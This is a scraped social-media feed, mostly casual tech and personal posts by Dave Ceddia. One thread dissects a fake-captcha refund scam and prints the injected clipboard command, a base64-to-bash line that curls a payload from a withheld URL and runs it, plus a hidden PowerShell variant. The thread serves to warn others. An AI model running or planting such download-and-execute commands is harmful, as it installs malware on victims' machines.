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Dave Ceddia @daveceddia.com · 03/12/2025

Watching Jason Fried's livestream about their new tool Fizzy and spotted "safari" as a tag 👀 @amyhoy.bsky.social

Dave Ceddia @daveceddia.com · 30/11/2025

The people under the windows have a very AI feel to them. Maybe this was a case of "hey ChatGPT, blow up this poster to bus size"

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Dave Ceddia @daveceddia.com · 03/11/2025

The partitioning is some virtual magic. It didn't shrink my current one, but it let me "double book" the space to install the other OS. (I haven't tried Tahoe yet but I did this with Sequoia recently)

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Dave Ceddia @daveceddia.com · 03/11/2025

If you have some free space on your current Mac, you can make a new partition and install it there. idk how recently this became possible (maybe since APFS?) but it's surprisingly easy and been handy for testing support.apple.com/en-us/118282

support.apple.com

Use more than one version of macOS on Mac - Apple Support

If you install a compatible macOS on an additional internal or external storage volume, your Mac can start up from either volume.

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Ryan Castillo @rmcastil.bsky.social · 16/10/2025

Do I know any founders who write their own content and would participate in a UX interview for Knowatoa's new onboarding for $$?

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Dave Ceddia @daveceddia.com · 15/10/2025

So this is the part where OpenAI harvests everyone's government ID right? "Because now that it has adult features they'll need IDs from everyone to ensure safety"?

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Dave Ceddia @daveceddia.com · 14/10/2025

Part of this is that doing open source *for the money* lost its taboo. It's wider than just OSS; sponsored content went from "what a sellout" to "get that bag" along the same time. I'm not sure of the cause <-> effect directionality here. My guess is it's more like an intertwined helix.

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Josh W. Comeau @joshwcomeau.com · 24/09/2025

We’re live!! My brand-new course, “Whimsical Animations”, is now available. 🥳🎉 whimsy.joshwcomeau.com I’m so excited to share all of my animation tools and techniques with y’all. 😄

whimsy.joshwcomeau.com

Whimsical Animations

Learn how to create charming interactions and delightful touches using the magic of CSS, JavaScript, SVG, and Canvas. I’m sharing all my tricks in this one!

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dan @danabra.mov · 18/09/2025

i’m back from a vacation and i have good availability for next month for consulting! i may be able to help with: getting unstuck at work (if you’re stuck with a software dev problem), frontend architecture, anything react-related the format is an hourly call dan.abramov.consulting@gmail.com

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Dave Ceddia @daveceddia.com · 18/09/2025

literally says "AI Generated" in the corner 🙄

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Dave Ceddia @daveceddia.com · 09/09/2025

Before clicking into this I thought it was going to be about the recent wave of ragebait-as-a-company startups!

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Dave Ceddia @daveceddia.com · 09/09/2025

wow haven't been here in a while and jerry is the official mascot now, congrats man

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Dave Ceddia @daveceddia.com · 20/07/2025

Oh man this sucks, i'm sorry 🙁

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Dave Ceddia @daveceddia.com · 20/06/2025

I'm always cautious with mine too but these Rotax engines are hard to hand prop accidentally. It needs 200rpm to trigger the ignition. Still good to keep out of the way of course but it adds some peace of mind www.rotax-owner.com/en/general-t...

rotax-owner.com

Hand proping the 912

ROTALK is a web based support system which provides a common access point for locating key Information - Education - Support for their Rotax Aircraft Engines such as the Rotax 912, Rotax 914, Rotax 91...

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Dave Ceddia @daveceddia.com · 19/06/2025

In the movie he shoots the other guy right after this

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Dave Ceddia @daveceddia.com · 19/06/2025

Every time I see this gif I can't tell if they think it means "i agree" or the other meaning

media.tenor.com

a man in a suit and tie says my man

ALT: a man in a suit and tie says my man

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Michele Hansen @mjwhansen.com · 09/06/2025

Deploy Empathy is only 24 copies from selling 5,000 copies, which is absolutely WILD ...so the Kindle version is now on sale for $ | £ | € 5.00 to get it over the line www.amazon.com/Deploy-Empat...

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Dave Ceddia @daveceddia.com · 07/06/2025

It's awesome! I think they're working on porting TIE Fighter missions too. Despite the "alpha" label this seems very polished so far. It's not like a tech demo either, they built out the concourse and mission briefing room and all this stuff that makes it feel like a proper game.

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Dave Ceddia @daveceddia.com · 07/06/2025

This is so awesome! It's like being a kid again but with better graphics. It's harder than I remember!

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Dave Ceddia @daveceddia.com · 01/06/2025

I've heard good things from friends about the Timeshifter app. I don't think it helps much after the fact, but it's supposed to help avoid jet lag in the first place.

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Julia Evans @b0rk.jvns.ca · 23/05/2025

I think I have finally managed to articulate this very fundamental but slightly counterintuitive fact about how shell redirection works

when you redirect, the shell opens the file BEFORE the program starts

sudo echo blah > file.txt

first I'll open file.txt...

THEN I'll run sudo echo blah

this is why file.txt isn't opened as root!

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Dave Ceddia @daveceddia.com · 23/05/2025

It seems great in theory! These services are expensive and indie hackers don't have the cash, probably. And for building one? Most indie hackers don't build services. 99% are chasing the 0-hour workweek, decoupling hours from $$ etc Most indie hackers don't enjoy marketing and/or don't know how

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Dave Ceddia @daveceddia.com · 22/05/2025

When I check the "captcha", it makes an XHR request and the response contains the full command (base64-encoded) that ends up in the clipboard. So I guess if it's a bug it's probably server-side

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Dave Ceddia @daveceddia.com · 22/05/2025

Hah, there is! Similar pattern, inserts a command into the clipboard. cmd /c "powershell -w h -e OwA=" && ✅ I am human I'm not sure this would do anything? Seems like OwA= is a semicolon Maybe it only really works on Windows, or this command is bugged like the curl one was.

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Dave Ceddia @daveceddia.com · 22/05/2025

Ahh ok. I found a couple interesting strings that are used in a bunch of places to decode other stuff in various ways

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Dave Ceddia @daveceddia.com · 22/05/2025

Thanks! Uploaded. Seems to be a known thing.

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Dave Ceddia @daveceddia.com · 22/05/2025

Dodging shady links mostly

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Dave Ceddia @daveceddia.com · 22/05/2025

Is there like... a place you can submit binaries that are probably malware?

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Dave Ceddia @daveceddia.com · 22/05/2025

💯 best to avoid! idk if I've ever seen a sites.google link that *wasn't* some sort of scam tbh

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Dave Ceddia @daveceddia.com · 22/05/2025

The symbols are stripped. There's not much in the way of useful strings, other than some file extensions. I don't see much, but tbh I'm not much of a reverse engineer. I can only guess it's some sort of ransomware, best not to run. Anyway if you get a random refund request tell em to go to hell.

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Dave Ceddia @daveceddia.com · 22/05/2025

It's a 362kb binary A "fat" binary, with both x86_64 and arm64 binaries inside So it'll run on both Intel and Apple Silicon Macs I opened it in Ghidra to disassemble it.

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Dave Ceddia @daveceddia.com · 22/05/2025

The malicious URL returns a 301 redirect. But curl doesn't follow redirects by default! It needs the -L flag for that, which they didn't include. With -L though, I was able to download the binary.

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Dave Ceddia @daveceddia.com · 22/05/2025

The shell snippet is: echo -n <long base64 string> | base64 -d | bash Which expands to: curl -s -o /tmp/foo <malicious-url>; chmod +x /tmp/foo; /tmp/foo The funny thing is, it can't actually work

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Dave Ceddia @daveceddia.com · 22/05/2025

The sketchy link, a Google Sites page, shows a fake captcha checkbox. And it copies a terminal command into your clipboard. And then: "to better prove you're not a robot, open a terminal and hit paste, enter"

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Dave Ceddia @daveceddia.com · 22/05/2025

So I asked for more info. another email they might've used? last 4 of the credit card? They replied with a sketchy link (sorry, "an attachment")

Second in the scam sequence, an email saying "I'm attaching my billing details" with a link to a Google Sites page

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Dave Ceddia @daveceddia.com · 22/05/2025

A sneaky scam I've seen a few times now: Someone writes into support to demand a refund for a duplicate charge. "oh crap!" But their email is nowhere in my system, nor is their name...

Initial scam email saying "I noticed I was charged double for my latest transaction on your platform ... Please investigate this and resolve the error ASAP"

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Dave Ceddia @daveceddia.com · 18/05/2025

combo player, sweet! I had something that fit ~15 songs and I remember reencoding to 64kbps to squeeze them in. iirc it hooked up to the parallel port and it was super slow to transfer.

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Dave Ceddia @daveceddia.com · 18/05/2025

I remember like 4 of these 😂

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Dave Ceddia @daveceddia.com · 18/05/2025

Make an observation about your pantry that also sounds like the title of a novel. Then Came the Moths

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Dave Ceddia @daveceddia.com · 18/05/2025

Way back when People used CDs They were only 650mb They measured size in minutes They weren’t rewritable yet (or maybe I couldn’t afford those drives) CompUSA was still a company

A recordable CD-R disc, 650mb, 74 minutes capacity, sold by CompUSA, a physical computer store that shut down in 2012

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Dave Ceddia @daveceddia.com · 18/05/2025

huh, it seems like # followed by ONLY numbers doesn't register as a hashtag. #123 nope but #123with_letters_works

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Dave Ceddia @daveceddia.com · 18/05/2025

oh shit i found the beta 1 installer

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Dave Ceddia @daveceddia.com · 18/05/2025

oh wow I learned this habit a long time ago

8 levels of nested Desktop folders, created as each one got too cluttered

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Dave Ceddia @daveceddia.com · 18/05/2025

sweet! I ran a CS server for a while from my parents' basement. I think it was TFC at one point too

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